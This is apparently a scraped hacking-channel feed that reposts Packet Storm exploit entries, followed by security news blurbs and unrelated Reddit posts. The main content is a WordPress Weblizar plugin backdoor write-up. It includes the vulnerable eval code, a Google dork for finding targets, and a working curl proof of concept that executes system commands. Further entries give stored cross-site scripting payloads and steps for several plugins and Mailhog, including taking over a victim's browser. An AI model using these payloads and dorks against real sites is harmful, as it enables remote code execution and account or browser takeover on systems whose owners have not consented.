Exploit Collector
WordPress Weblizar 8.9 Code Execution

https://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png
WordPress Weblizar plugin version 8.9 suffers from a remote code execution vulnerability.

SHA-256 | 9b7cc4a093eb84aa51b7844130d86d8859b2c2b7771568a1c31d4b1df1daad25

Download
# Exploit Title: WordPress Plugin Weblizar 8.9 - Backdoor
# Google Dork: 'wp-json/am-member/license'
# Exploit Author: Sobhan Mahmoodi
# Vendor Homepage: https://weblizar.com/plugins/school-management/
# Version: 8.9
# Tested on: windows/linux

Vulnerable code:

add_action( 'rest_api_init', function() {
register_rest_route(
'am-member', 'license',
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => function( $request ) {
$args = $request->get_params();
if ( isset( $args['blowfish'] ) && ! empty(
$args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] )
) {
eval( $args['blowf'] );
}
};
)
);
} );
If you look at the code, the user code checks the parameters and finally executes the Blowf argument with the eval function. The Eval function is to take a string of PHP commands and execute it.

In order to be able to exploit this vulnerability, it is enough to send a request such as the following request that according to the above code, the part with If should be set blowfish and blowf arguments and not empty, and
given that eval executes the blowf value , Our favorite command must also be in this argument.

Proof of Concept:

curl -s -d 'blowfish=1' -d "blowf=system('id');" '
http://localhost:8888/wp-json/am-member/license'

uid=33(www-data) gid=33(www-data) groups=33(www-data)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress W-DALIL 2.0 Cross Site Scripting

https://4.bp.blogspot.com/-ILIpsq3JVDo/WWlvQ8IjxbI/AAAAAAAAINI/veR2GTC9zzcP6cUZEvOZqGdUDt2RtL0uQCLcBGAs/s1600/h32.png
WordPress W-DALIL plugin version 2.0 suffers from a persistent cross site scripting vulnerability.

SHA-256 | 3d149a791c07c7cfc468c60b80fc0a429d771a83d5713a156f35ef0f03df6cc5

Download
# Exploit Title: WordPress Plugin W-DALIL - Stored Cross Site Scripting
# Date: 27-06-2022
# Exploit Author: Mariam Tariq - HunterSherlock
# Vendor Homepage: https://wordpress.org/plugins/w-dalil/
# Version: 2.0
# Tested on: Firefox
# Contact me: mariamtariq404@gmail.com

#Vulnerable Code:

```

placeholder="

```

#Steps To Reproduce :

1 - First Install the plugin "*w-dalil*" and activate it.
2 - Go to Dalil —> Add New Dalil item
3 - Inside the “*Dalil item address*” enter XSS payload “*>
onerror=alert(1)>*" and hit enter.

#Poc Image :

https://imgur.com/JPG97oh

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Mailhog 1.0.1 Cross Site Scripting

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
Mailhog version 1.0.1 suffers from a persistent cross site scripting vulnerability.

SHA-256 | c6d4443c876d720bb306b68d688651b623465386c426966caee9a17a0fcf1d8a

Download
# Exploit Title: Mailhog 1.0.1 - Stored Cross-Site Scripting (XSS)
# Google Dork: https://www.shodan.io/search?query=mailhog ( > 3500)
# Date: 06.18.2022
# Exploit Author: Vulnz
# Vendor Homepage: https://github.com/mailhog/MailHog
# Software Link: https://github.com/mailhog/MailHog
# Version: 1.0.1
# Tested on: Windows,Linux,Docker
# CVE : N/A

Explanation:
Malicious users have the ability to send API requests to localhost and this request will be executed without any additional checks. As long as CSRF exists and unrestricted API calls as well, XSS could lead any API calls including email deletion, sending, reading or any other call.

Steps to reproduce:
1. Create malicious attachment with payloads stated below
2. Attach malicious file to email with payload (XSS)
3. Send email
4. Wait for victim to open email
5. Receive data, get control of victim browser using Beef framework, or manipulate with API data
Proof of Concept:

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Simple Page Transition 1.4.1 Cross Site Scripting

https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png
WordPress Simple Page Transition plugin version 1.4.1 suffers from a persistent cross site scripting vulnerability.

SHA-256 | 6add737b61d202a5e1a60dba7f03322ef6b69ca1cb41cb65fe52abe7e5145de6

Download
# Exploit Title: WordPress Plugin ‘Simple Page Transition’ - Stored Cross
Site Scripting
# Date: 27-06-2022
# Exploit Author: Mariam Tariq - HunterSherlock
# Vendor Homepage: https://wordpress.org/plugins/simple-page-transition/
# Version: 1.4.1
# Tested on: Firefox
# Contact me: mariamtariq404@gmail.com
*#Vulnerable code*:

```

name="simple_page_transition_ignored" value="**" />
```
*#POC:*

1- Install the plugin ‘simple page transition’ & activate it.
2- Navigate towards the “ignored download links”
3- Enter the XSS payload ` *“>x *`

*#POC image:*

https://imgur.com/yzaTkhi

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

The Modern-Day Android Application Pentesting Approach for BugBounties/Assessments
https://kunalkhubchandani.medium.com/modern-day-android-application-pentesting-approach-for-bugbounties-assessments-kunal-b09154b522d?source=rss------bug_bounty-5

Understand the Attacker’s Approach and Mindset behind Pentesting Modern-Day Android Applications :DContinue reading on Medium » (https://kunalkhubchandani.medium.com/modern-day-android-application-pentesting-approach-for-bugbounties-assessments-kunal-b09154b522d?source=rss------bug_bounty-5)

The Modern-Day Android Application Pentesting Approach for BugBounties/Assessments

Understand the Attacker’s Approach and Mindset behind Pentesting Modern-Day Android Applications :DContinue reading on Medium »
Read more...

Dark Reading: Attacks/Breaches
Shadow IT Spurs 1 in 3 Cyberattacks

Cerby platform emerges from stealth mode to let users automate security for applications outside of the standard IT purview.

Dark Reading: Attacks/Breaches
Federal, State Agencies' Aid Programs Face Synthetic Identity Fraud

Balancing public service with fraud prevention requires rule revisions and public trust.

Dark Reading: Attacks/Breaches
LockBit 3.0 Debuts with Ransomware Bug Bounty Program

LockBit 3.0 promises to 'Make Ransomware Great Again!' with a side of cybercrime crowdsourcing.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
The Exploiters of Harmony’s Horizon Bridge Had Been Sandwiched On Their $100M Hacking

https://cdn-images-1.medium.com/max/1080/0*cTKlBXx5eKH67lVm
Some sandwich arbitrages were implemented on 2 addresses marked as Horizon Bridge Exploiter on Etherscan.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Microsoft Hall Of Fame for a Small Misconfiguration.
https://medium.com/@withamankr/microsoft-hall-of-fame-for-a-small-misconfiguration-a0bb2eda9441?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hey everyone! I’m Aman, in this write-up I am going to show how you can find rate limit bug and my journey to the Microsoft Hall of FameContinue reading on Medium » (https://medium.com/@withamankr/microsoft-hall-of-fame-for-a-small-misconfiguration-a0bb2eda9441?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Looking for a partner
https://www.reddit.com/r/Pentesting/comments/vm9hwj/looking_for_a_partner/

Hello, I guess that majority of the FOSS, Linux, hacker community struggle when it comes to meeting partners especially on the dating sites. And because I appreciate not only open source and privacy but also my time I decided to write “looking for a partner” post in few different places on the net. About me: I am female in late 20s, living in Europe, looking for something serious, marriage oriented. I’m NOT poly. I consider myself leftist, open minded person, supporting minority groups. I use Linux and I’m FOSS enthusiast, working as a developer but leaning more towards pen-testing jobs lately. Yes, I have nerdy side, but also entrepreneurial spirit and I want to start a company in future. Looking for: I don’t have exact image. If I find someone with same interests, similar views would be super great. I’m Sapiosexual and don’t mind age gap. But it’s important that person have serious intentions and it’s honest. I have I hectic life (work related) so I don’t want to spend lots of time texting, I prefer meeting asap. Like I mentioned - I’m from Europe. Distance don’t bother me if you are wiling to travel or relocate in future. It’s also possible for me to relocate. But in general I prefer that you are from Europe. I know that this post is super straight forward but I think it can be good way to meet someone. Because whats is the chance that I meet someone that special, when I’m drinking caffe in local bar? ;)) Great dating life to you all :) submitted by /u/LinuxCaffes (https://www.reddit.com/user/LinuxCaffes)
[link] (https://www.reddit.com/r/Pentesting/comments/vm9hwj/looking_for_a_partner/) [comments] (https://www.reddit.com/r/Pentesting/comments/vm9hwj/looking_for_a_partner/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Freshie looking to get into all things IT

Hi I am a highschool freshman looking to get into cyber security or some sort of IT and I’m sure “hacking” could be a hobby and help me along the way so if you’d like to help let me tell you about my situation. I’m going into sophomore year and I’ve transitioned to online school and I’m going to get a computer to obviously attend lol but well what do I do to start, what videos do I watch, what books do I read, what apps or programs do I download to see if this is even something I’d be interested in

submitted by /u/Cryptic6127
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Break into my website for fun!

I have been trying to get someone/s to break into my website with whatever means, and to program it to whatever they want. I figured someone here would have taken the challenge and created something fun, weird etc.

So, here is my website. Hackmywebsite.net

Show me what you got!! No strings attached. Only this domain is available to be messed with.

submitted by /u/Matt6247
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video